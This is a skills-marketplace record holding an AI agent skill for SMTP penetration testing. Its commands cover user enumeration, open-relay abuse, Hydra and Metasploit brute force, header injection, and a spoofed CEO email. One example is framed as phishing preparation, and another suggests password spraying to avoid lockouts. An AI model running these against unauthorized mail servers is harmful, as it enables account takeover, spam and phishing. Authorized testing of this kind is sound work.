[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFVKEWWFG2F7MB56WADBQF":3,"skill-same:01M6AFVKEWWFG2F7MB56WADBQF":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":55,"commitSha":56,"skillDirectory":57,"forksCount":58,"repositoryHtmlUrl":59,"repositoryHomepageUrl":60,"ownerHtmlUrl":61,"ownerBlogUrl":62,"ownerDescription":63,"updatedAt":64,"install":65,"resources":78},"01M6AFVKEWWFG2F7MB56WADBQF","smtp-penetration-testing",null,"This skill should be used when the user asks to \"perform SMTP penetration testing\", \"enumerate email users\", \"test for open mail relays\", \"grab SMTP banners\", \"brute force email credentials\", or \"assess mail server security\". It provides comprehensive techniques for testing SMTP server security.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33418,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fsmtp-penetration-testing\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"penetration testing","smtp","smtp penetration testing","testing","penetration","users","when","Banners","for","techniques","grab","it","assess","mail","open","credentials","email","server","test","security","2026-11-10 10:12:30",false,"---\nname: smtp-penetration-testing\ndescription: This skill should be used when the user asks to \"perform SMTP penetration testing\", \"enumerate email users\", \"test for open mail relays\", \"grab SMTP banners\", \"brute force email credentials\", or \"assess mail server security\". It provides comprehensive techniques for testing SMTP server security.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# SMTP Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Nmap with SMTP scripts\nsudo apt-get install nmap\n\n# Netcat\nsudo apt-get install netcat\n\n# Hydra for brute force\nsudo apt-get install hydra\n\n# SMTP user enumeration tool\nsudo apt-get install smtp-user-enum\n\n# Metasploit Framework\nmsfconsole\n```\n\n### Required Knowledge\n- SMTP protocol fundamentals\n- Email architecture (MTA, MDA, MUA)\n- DNS and MX records\n- Network protocols\n\n### Required Access\n- Target SMTP server IP\u002Fhostname\n- Written authorization for testing\n- Wordlists for enumeration and brute force\n\n## Outputs and Deliverables\n\n1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings\n2. **User Enumeration Results** - Valid email addresses discovered\n3. **Relay Test Results** - Open relay status and exploitation potential\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: SMTP Architecture Understanding\n\n```\nComponents: MTA (transfer) → MDA (delivery) → MUA (client)\n\nPorts: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)\n\nWorkflow: Sender MUA → Sender MTA → DNS\u002FMX → Recipient MTA → MDA → Recipient MUA\n```\n\n### Phase 2: SMTP Service Discovery\n\nIdentify SMTP servers and versions:\n\n```bash\n# Discover SMTP ports\nnmap -p 25,465,587,2525 -sV TARGET_IP\n\n# Aggressive service detection\nnmap -sV -sC -p 25 TARGET_IP\n\n# SMTP-specific scripts\nnmap --script=smtp-* -p 25 TARGET_IP\n\n# Discover MX records for domain\ndig MX target.com\nnslookup -type=mx target.com\nhost -t mx target.com\n```\n\n### Phase 3: Banner Grabbing\n\nRetrieve SMTP server information:\n\n```bash\n# Using Telnet\ntelnet TARGET_IP 25\n# Response: 220 mail.target.com ESMTP Postfix\n\n# Using Netcat\nnc TARGET_IP 25\n# Response: 220 mail.target.com ESMTP\n\n# Using Nmap\nnmap -sV -p 25 TARGET_IP\n# Version detection extracts banner info\n\n# Manual SMTP commands\nEHLO test\n# Response reveals supported extensions\n```\n\nParse banner information:\n\n```\nBanner reveals:\n- Server software (Postfix, Sendmail, Exchange)\n- Version information\n- Hostname\n- Supported SMTP extensions (STARTTLS, AUTH, etc.)\n```\n\n### Phase 4: SMTP Command Enumeration\n\nTest available SMTP commands:\n\n```bash\n# Connect and test commands\nnc TARGET_IP 25\n\n# Initial greeting\nEHLO attacker.com\n\n# Response shows capabilities:\n250-mail.target.com\n250-PIPELINING\n250-SIZE 10240000\n250-VRFY\n250-ETRN\n250-STARTTLS\n250-AUTH PLAIN LOGIN\n250-8BITMIME\n250 DSN\n```\n\nKey commands to test:\n\n```bash\n# VRFY - Verify user exists\nVRFY admin\n250 2.1.5 admin@target.com\n\n# EXPN - Expand mailing list\nEXPN staff\n250 2.1.5 user1@target.com\n250 2.1.5 user2@target.com\n\n# RCPT TO - Recipient verification\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Cadmin@target.com>\n# 250 OK = user exists\n# 550 = user doesn't exist\n```\n\n### Phase 5: User Enumeration\n\nEnumerate valid email addresses:\n\n```bash\n# Using smtp-user-enum with VRFY\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Using EXPN method\nsmtp-user-enum -M EXPN -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Using RCPT method\nsmtp-user-enum -M RCPT -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Specify port and domain\nsmtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum\nset RHOSTS TARGET_IP\nset USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fmetasploit\u002Funix_users.txt\nset UNIXONLY true\nrun\n```\n\nUsing Nmap:\n\n```bash\n# SMTP user enumeration script\nnmap --script smtp-enum-users -p 25 TARGET_IP\n\n# With custom user list\nnmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP\n```\n\n### Phase 6: Open Relay Testing\n\nTest for unauthorized email relay:\n\n```bash\n# Using Nmap\nnmap -p 25 --script smtp-open-relay TARGET_IP\n\n# Manual testing via Telnet\ntelnet TARGET_IP 25\nHELO attacker.com\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Cvictim@external-domain.com>\nDATA\nSubject: Relay Test\nThis is a test.\n.\nQUIT\n\n# If accepted (250 OK), server is open relay\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_relay\nset RHOSTS TARGET_IP\nrun\n```\n\nTest variations:\n\n```bash\n# Test different sender\u002Frecipient combinations\nMAIL FROM:\u003C>\nMAIL FROM:\u003Ctest@[attacker_IP]>\nMAIL FROM:\u003Ctest@target.com>\n\nRCPT TO:\u003Ctest@external.com>\nRCPT TO:\u003C\"test@external.com\">\nRCPT TO:\u003Ctest%external.com@target.com>\n```\n\n### Phase 7: Brute Force Authentication\n\nTest for weak SMTP credentials:\n\n```bash\n# Using Hydra\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt smtp:\u002F\u002FTARGET_IP\n\n# With specific port and SSL\nhydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp\n\n# Multiple users\nhydra -L users.txt -P passwords.txt TARGET_IP smtp\n\n# Verbose output\nhydra -l admin -P passwords.txt smtp:\u002F\u002FTARGET_IP -V\n```\n\nUsing Medusa:\n\n```bash\nmedusa -h TARGET_IP -u admin -P \u002Fpath\u002Fto\u002Fpasswords.txt -M smtp\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_login\nset RHOSTS TARGET_IP\nset USER_FILE \u002Fpath\u002Fto\u002Fusers.txt\nset PASS_FILE \u002Fpath\u002Fto\u002Fpasswords.txt\nset VERBOSE true\nrun\n```\n\n### Phase 8: SMTP Command Injection\n\nTest for command injection vulnerabilities:\n\n```bash\n# Header injection test\nMAIL FROM:\u003Cattacker@test.com>\nRCPT TO:\u003Cvictim@target.com>\nDATA\nSubject: Test\nBcc: hidden@attacker.com\nX-Injected: malicious-header\n\nInjected content\n.\n```\n\nEmail spoofing test:\n\n```bash\n# Spoofed sender (tests SPF\u002FDKIM protection)\nMAIL FROM:\u003Cceo@target.com>\nRCPT TO:\u003Cemployee@target.com>\nDATA\nFrom: CEO \u003Cceo@target.com>\nSubject: Urgent Request\nPlease process this request immediately.\n.\n```\n\n### Phase 9: TLS\u002FSSL Security Testing\n\nTest encryption configuration:\n\n```bash\n# STARTTLS support check\nopenssl s_client -connect TARGET_IP:25 -starttls smtp\n\n# Direct SSL (port 465)\nopenssl s_client -connect TARGET_IP:465\n\n# Cipher enumeration\nnmap --script ssl-enum-ciphers -p 25 TARGET_IP\n```\n\n### Phase 10: SPF, DKIM, DMARC Analysis\n\nCheck email authentication records:\n\n```bash\n# SPF\u002FDKIM\u002FDMARC record lookups\ndig TXT target.com | grep spf            # SPF\ndig TXT selector._domainkey.target.com    # DKIM\ndig TXT _dmarc.target.com                 # DMARC\n\n# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral\n```\n\n## Quick Reference\n\n### Essential SMTP Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| HELO | Identify client | `HELO client.com` |\n| EHLO | Extended HELO | `EHLO client.com` |\n| MAIL FROM | Set sender | `MAIL FROM:\u003Csender@test.com>` |\n| RCPT TO | Set recipient | `RCPT TO:\u003Cuser@target.com>` |\n| DATA | Start message body | `DATA` |\n| VRFY | Verify user | `VRFY admin` |\n| EXPN | Expand alias | `EXPN staff` |\n| QUIT | End session | `QUIT` |\n\n### SMTP Response Codes\n\n| Code | Meaning |\n|------|---------|\n| 220 | Service ready |\n| 221 | Closing connection |\n| 250 | OK \u002F Requested action completed |\n| 354 | Start mail input |\n| 421 | Service not available |\n| 450 | Mailbox unavailable |\n| 550 | User unknown \u002F Mailbox not found |\n| 553 | Mailbox name not allowed |\n\n### Enumeration Tool Commands\n\n| Tool | Command |\n|------|---------|\n| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |\n| Nmap | `nmap --script smtp-enum-users -p 25 IP` |\n| Metasploit | `use auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum` |\n| Netcat | `nc IP 25` then manual commands |\n\n### Common Vulnerabilities\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Open Relay | High | Relay test with external recipient |\n| User Enumeration | Medium | VRFY\u002FEXPN\u002FRCPT commands |\n| Banner Disclosure | Low | Banner grabbing |\n| Weak Auth | High | Brute force attack |\n| No TLS | Medium | STARTTLS test |\n| Missing SPF\u002FDKIM | Medium | DNS record lookup |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test SMTP servers you own or have authorization to test\n- Sending spam or malicious emails is illegal\n- Document all testing activities\n- Do not abuse discovered open relays\n\n### Technical Limitations\n- VRFY\u002FEXPN often disabled on modern servers\n- Rate limiting may slow enumeration\n- Some servers respond identically for valid\u002Finvalid users\n- Greylisting may delay enumeration responses\n\n### Ethical Boundaries\n- Never send actual spam through discovered relays\n- Do not harvest email addresses for malicious use\n- Report open relays to server administrators\n- Use findings only for authorized security improvement\n\n## Examples\n\n### Example 1: Complete SMTP Assessment\n\n**Scenario:** Full security assessment of mail server\n\n```bash\n# Step 1: Service discovery\nnmap -sV -sC -p 25,465,587 mail.target.com\n\n# Step 2: Banner grab\nnc mail.target.com 25\nEHLO test.com\nQUIT\n\n# Step 3: User enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt -t mail.target.com\n\n# Step 4: Open relay test\nnmap -p 25 --script smtp-open-relay mail.target.com\n\n# Step 5: Authentication test\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Ffasttrack.txt smtp:\u002F\u002Fmail.target.com\n\n# Step 6: TLS check\nopenssl s_client -connect mail.target.com:25 -starttls smtp\n\n# Step 7: Check email authentication\ndig TXT target.com | grep spf\ndig TXT _dmarc.target.com\n```\n\n### Example 2: User Enumeration Attack\n\n**Scenario:** Enumerate valid users for phishing preparation\n\n```bash\n# Method 1: VRFY\nsmtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25\n\n# Method 2: RCPT with timing analysis\nsmtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com\n\n# Method 3: Metasploit\nmsfconsole\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum\nset RHOSTS 192.168.1.100\nset USER_FILE \u002Fusr\u002Fshare\u002Fmetasploit-framework\u002Fdata\u002Fwordlists\u002Funix_users.txt\nrun\n\n# Results show valid users\n[+] 192.168.1.100:25 - Found user: admin\n[+] 192.168.1.100:25 - Found user: root\n[+] 192.168.1.100:25 - Found user: postmaster\n```\n\n### Example 3: Open Relay Exploitation\n\n**Scenario:** Test and document open relay vulnerability\n\n```bash\n# Test via Telnet\ntelnet mail.target.com 25\nHELO attacker.com\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Ctest@gmail.com>\n# If 250 OK - VULNERABLE\n\n# Document with Nmap\nnmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com\n\n# Output:\n# PORT   STATE SERVICE\n# 25\u002Ftcp open  smtp\n# |_smtp-open-relay: Server is an open relay (14\u002F16 tests)\n```\n\n## Troubleshooting\n\n| Issue | Cause | Solution |\n|-------|-------|----------|\n| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587\u002F465; use VPN |\n| VRFY\u002FEXPN Disabled | Server hardened | Use RCPT TO method; analyze response time\u002Fcode variations |\n| Brute Force Blocked | Rate limiting\u002Flockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |\n| SSL\u002FTLS Errors | Wrong port or protocol | Use 465 for SSL, 25\u002F587 for STARTTLS; verify EHLO response |\n\n## Security Recommendations\n\n### For Administrators\n\n1. **Disable Open Relay** - Require authentication for external delivery\n2. **Disable VRFY\u002FEXPN** - Prevent user enumeration\n3. **Enforce TLS** - Require STARTTLS for all connections\n4. **Implement SPF\u002FDKIM\u002FDMARC** - Prevent email spoofing\n5. **Rate Limiting** - Prevent brute force attacks\n6. **Account Lockout** - Lock accounts after failed attempts\n7. **Banner Hardening** - Minimize server information disclosure\n8. **Log Monitoring** - Alert on suspicious activity\n9. **Patch Management** - Keep SMTP software updated\n10. **Access Controls** - Restrict SMTP to authorized IPs\n","# SMTP Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Nmap with SMTP scripts\nsudo apt-get install nmap\n\n# Netcat\nsudo apt-get install netcat\n\n# Hydra for brute force\nsudo apt-get install hydra\n\n# SMTP user enumeration tool\nsudo apt-get install smtp-user-enum\n\n# Metasploit Framework\nmsfconsole\n```\n\n### Required Knowledge\n- SMTP protocol fundamentals\n- Email architecture (MTA, MDA, MUA)\n- DNS and MX records\n- Network protocols\n\n### Required Access\n- Target SMTP server IP\u002Fhostname\n- Written authorization for testing\n- Wordlists for enumeration and brute force\n\n## Outputs and Deliverables\n\n1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings\n2. **User Enumeration Results** - Valid email addresses discovered\n3. **Relay Test Results** - Open relay status and exploitation potential\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: SMTP Architecture Understanding\n\n```\nComponents: MTA (transfer) → MDA (delivery) → MUA (client)\n\nPorts: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)\n\nWorkflow: Sender MUA → Sender MTA → DNS\u002FMX → Recipient MTA → MDA → Recipient MUA\n```\n\n### Phase 2: SMTP Service Discovery\n\nIdentify SMTP servers and versions:\n\n```bash\n# Discover SMTP ports\nnmap -p 25,465,587,2525 -sV TARGET_IP\n\n# Aggressive service detection\nnmap -sV -sC -p 25 TARGET_IP\n\n# SMTP-specific scripts\nnmap --script=smtp-* -p 25 TARGET_IP\n\n# Discover MX records for domain\ndig MX target.com\nnslookup -type=mx target.com\nhost -t mx target.com\n```\n\n### Phase 3: Banner Grabbing\n\nRetrieve SMTP server information:\n\n```bash\n# Using Telnet\ntelnet TARGET_IP 25\n# Response: 220 mail.target.com ESMTP Postfix\n\n# Using Netcat\nnc TARGET_IP 25\n# Response: 220 mail.target.com ESMTP\n\n# Using Nmap\nnmap -sV -p 25 TARGET_IP\n# Version detection extracts banner info\n\n# Manual SMTP commands\nEHLO test\n# Response reveals supported extensions\n```\n\nParse banner information:\n\n```\nBanner reveals:\n- Server software (Postfix, Sendmail, Exchange)\n- Version information\n- Hostname\n- Supported SMTP extensions (STARTTLS, AUTH, etc.)\n```\n\n### Phase 4: SMTP Command Enumeration\n\nTest available SMTP commands:\n\n```bash\n# Connect and test commands\nnc TARGET_IP 25\n\n# Initial greeting\nEHLO attacker.com\n\n# Response shows capabilities:\n250-mail.target.com\n250-PIPELINING\n250-SIZE 10240000\n250-VRFY\n250-ETRN\n250-STARTTLS\n250-AUTH PLAIN LOGIN\n250-8BITMIME\n250 DSN\n```\n\nKey commands to test:\n\n```bash\n# VRFY - Verify user exists\nVRFY admin\n250 2.1.5 admin@target.com\n\n# EXPN - Expand mailing list\nEXPN staff\n250 2.1.5 user1@target.com\n250 2.1.5 user2@target.com\n\n# RCPT TO - Recipient verification\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Cadmin@target.com>\n# 250 OK = user exists\n# 550 = user doesn't exist\n```\n\n### Phase 5: User Enumeration\n\nEnumerate valid email addresses:\n\n```bash\n# Using smtp-user-enum with VRFY\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Using EXPN method\nsmtp-user-enum -M EXPN -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Using RCPT method\nsmtp-user-enum -M RCPT -U \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt -t TARGET_IP\n\n# Specify port and domain\nsmtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum\nset RHOSTS TARGET_IP\nset USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fmetasploit\u002Funix_users.txt\nset UNIXONLY true\nrun\n```\n\nUsing Nmap:\n\n```bash\n# SMTP user enumeration script\nnmap --script smtp-enum-users -p 25 TARGET_IP\n\n# With custom user list\nnmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP\n```\n\n### Phase 6: Open Relay Testing\n\nTest for unauthorized email relay:\n\n```bash\n# Using Nmap\nnmap -p 25 --script smtp-open-relay TARGET_IP\n\n# Manual testing via Telnet\ntelnet TARGET_IP 25\nHELO attacker.com\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Cvictim@external-domain.com>\nDATA\nSubject: Relay Test\nThis is a test.\n.\nQUIT\n\n# If accepted (250 OK), server is open relay\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_relay\nset RHOSTS TARGET_IP\nrun\n```\n\nTest variations:\n\n```bash\n# Test different sender\u002Frecipient combinations\nMAIL FROM:\u003C>\nMAIL FROM:\u003Ctest@[attacker_IP]>\nMAIL FROM:\u003Ctest@target.com>\n\nRCPT TO:\u003Ctest@external.com>\nRCPT TO:\u003C\"test@external.com\">\nRCPT TO:\u003Ctest%external.com@target.com>\n```\n\n### Phase 7: Brute Force Authentication\n\nTest for weak SMTP credentials:\n\n```bash\n# Using Hydra\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt smtp:\u002F\u002FTARGET_IP\n\n# With specific port and SSL\nhydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp\n\n# Multiple users\nhydra -L users.txt -P passwords.txt TARGET_IP smtp\n\n# Verbose output\nhydra -l admin -P passwords.txt smtp:\u002F\u002FTARGET_IP -V\n```\n\nUsing Medusa:\n\n```bash\nmedusa -h TARGET_IP -u admin -P \u002Fpath\u002Fto\u002Fpasswords.txt -M smtp\n```\n\nUsing Metasploit:\n\n```bash\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_login\nset RHOSTS TARGET_IP\nset USER_FILE \u002Fpath\u002Fto\u002Fusers.txt\nset PASS_FILE \u002Fpath\u002Fto\u002Fpasswords.txt\nset VERBOSE true\nrun\n```\n\n### Phase 8: SMTP Command Injection\n\nTest for command injection vulnerabilities:\n\n```bash\n# Header injection test\nMAIL FROM:\u003Cattacker@test.com>\nRCPT TO:\u003Cvictim@target.com>\nDATA\nSubject: Test\nBcc: hidden@attacker.com\nX-Injected: malicious-header\n\nInjected content\n.\n```\n\nEmail spoofing test:\n\n```bash\n# Spoofed sender (tests SPF\u002FDKIM protection)\nMAIL FROM:\u003Cceo@target.com>\nRCPT TO:\u003Cemployee@target.com>\nDATA\nFrom: CEO \u003Cceo@target.com>\nSubject: Urgent Request\nPlease process this request immediately.\n.\n```\n\n### Phase 9: TLS\u002FSSL Security Testing\n\nTest encryption configuration:\n\n```bash\n# STARTTLS support check\nopenssl s_client -connect TARGET_IP:25 -starttls smtp\n\n# Direct SSL (port 465)\nopenssl s_client -connect TARGET_IP:465\n\n# Cipher enumeration\nnmap --script ssl-enum-ciphers -p 25 TARGET_IP\n```\n\n### Phase 10: SPF, DKIM, DMARC Analysis\n\nCheck email authentication records:\n\n```bash\n# SPF\u002FDKIM\u002FDMARC record lookups\ndig TXT target.com | grep spf            # SPF\ndig TXT selector._domainkey.target.com    # DKIM\ndig TXT _dmarc.target.com                 # DMARC\n\n# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral\n```\n\n## Quick Reference\n\n### Essential SMTP Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| HELO | Identify client | `HELO client.com` |\n| EHLO | Extended HELO | `EHLO client.com` |\n| MAIL FROM | Set sender | `MAIL FROM:\u003Csender@test.com>` |\n| RCPT TO | Set recipient | `RCPT TO:\u003Cuser@target.com>` |\n| DATA | Start message body | `DATA` |\n| VRFY | Verify user | `VRFY admin` |\n| EXPN | Expand alias | `EXPN staff` |\n| QUIT | End session | `QUIT` |\n\n### SMTP Response Codes\n\n| Code | Meaning |\n|------|---------|\n| 220 | Service ready |\n| 221 | Closing connection |\n| 250 | OK \u002F Requested action completed |\n| 354 | Start mail input |\n| 421 | Service not available |\n| 450 | Mailbox unavailable |\n| 550 | User unknown \u002F Mailbox not found |\n| 553 | Mailbox name not allowed |\n\n### Enumeration Tool Commands\n\n| Tool | Command |\n|------|---------|\n| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |\n| Nmap | `nmap --script smtp-enum-users -p 25 IP` |\n| Metasploit | `use auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum` |\n| Netcat | `nc IP 25` then manual commands |\n\n### Common Vulnerabilities\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Open Relay | High | Relay test with external recipient |\n| User Enumeration | Medium | VRFY\u002FEXPN\u002FRCPT commands |\n| Banner Disclosure | Low | Banner grabbing |\n| Weak Auth | High | Brute force attack |\n| No TLS | Medium | STARTTLS test |\n| Missing SPF\u002FDKIM | Medium | DNS record lookup |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test SMTP servers you own or have authorization to test\n- Sending spam or malicious emails is illegal\n- Document all testing activities\n- Do not abuse discovered open relays\n\n### Technical Limitations\n- VRFY\u002FEXPN often disabled on modern servers\n- Rate limiting may slow enumeration\n- Some servers respond identically for valid\u002Finvalid users\n- Greylisting may delay enumeration responses\n\n### Ethical Boundaries\n- Never send actual spam through discovered relays\n- Do not harvest email addresses for malicious use\n- Report open relays to server administrators\n- Use findings only for authorized security improvement\n\n## Examples\n\n### Example 1: Complete SMTP Assessment\n\n**Scenario:** Full security assessment of mail server\n\n```bash\n# Step 1: Service discovery\nnmap -sV -sC -p 25,465,587 mail.target.com\n\n# Step 2: Banner grab\nnc mail.target.com 25\nEHLO test.com\nQUIT\n\n# Step 3: User enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt -t mail.target.com\n\n# Step 4: Open relay test\nnmap -p 25 --script smtp-open-relay mail.target.com\n\n# Step 5: Authentication test\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Ffasttrack.txt smtp:\u002F\u002Fmail.target.com\n\n# Step 6: TLS check\nopenssl s_client -connect mail.target.com:25 -starttls smtp\n\n# Step 7: Check email authentication\ndig TXT target.com | grep spf\ndig TXT _dmarc.target.com\n```\n\n### Example 2: User Enumeration Attack\n\n**Scenario:** Enumerate valid users for phishing preparation\n\n```bash\n# Method 1: VRFY\nsmtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25\n\n# Method 2: RCPT with timing analysis\nsmtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com\n\n# Method 3: Metasploit\nmsfconsole\nuse auxiliary\u002Fscanner\u002Fsmtp\u002Fsmtp_enum\nset RHOSTS 192.168.1.100\nset USER_FILE \u002Fusr\u002Fshare\u002Fmetasploit-framework\u002Fdata\u002Fwordlists\u002Funix_users.txt\nrun\n\n# Results show valid users\n[+] 192.168.1.100:25 - Found user: admin\n[+] 192.168.1.100:25 - Found user: root\n[+] 192.168.1.100:25 - Found user: postmaster\n```\n\n### Example 3: Open Relay Exploitation\n\n**Scenario:** Test and document open relay vulnerability\n\n```bash\n# Test via Telnet\ntelnet mail.target.com 25\nHELO attacker.com\nMAIL FROM:\u003Ctest@attacker.com>\nRCPT TO:\u003Ctest@gmail.com>\n# If 250 OK - VULNERABLE\n\n# Document with Nmap\nnmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com\n\n# Output:\n# PORT   STATE SERVICE\n# 25\u002Ftcp open  smtp\n# |_smtp-open-relay: Server is an open relay (14\u002F16 tests)\n```\n\n## Troubleshooting\n\n| Issue | Cause | Solution |\n|-------|-------|----------|\n| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587\u002F465; use VPN |\n| VRFY\u002FEXPN Disabled | Server hardened | Use RCPT TO method; analyze response time\u002Fcode variations |\n| Brute Force Blocked | Rate limiting\u002Flockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |\n| SSL\u002FTLS Errors | Wrong port or protocol | Use 465 for SSL, 25\u002F587 for STARTTLS; verify EHLO response |\n\n## Security Recommendations\n\n### For Administrators\n\n1. **Disable Open Relay** - Require authentication for external delivery\n2. **Disable VRFY\u002FEXPN** - Prevent user enumeration\n3. **Enforce TLS** - Require STARTTLS for all connections\n4. **Implement SPF\u002FDKIM\u002FDMARC** - Prevent email spoofing\n5. **Rate Limiting** - Prevent brute force attacks\n6. **Account Lockout** - Lock accounts after failed attempts\n7. **Banner Hardening** - Minimize server information disclosure\n8. **Log Monitoring** - Alert on suspicious activity\n9. **Patch Management** - Keep SMTP software updated\n10. **Access Controls** - Restrict SMTP to authorized IPs\n",{"name":5,"metadata":52,"description":7},{"author":53,"version":54},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fsmtp-penetration-testing",3926,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-12 14:45:56",{"source":8,"skillName":5,"commands":66,"prompt":76,"zipAvailable":77},[67,70,73],{"tool":68,"command":69},"npx","npx skills add davila7\u002Fclaude-code-templates --skill smtp-penetration-testing",{"tool":71,"command":72},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill smtp-penetration-testing",{"tool":74,"command":75},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill 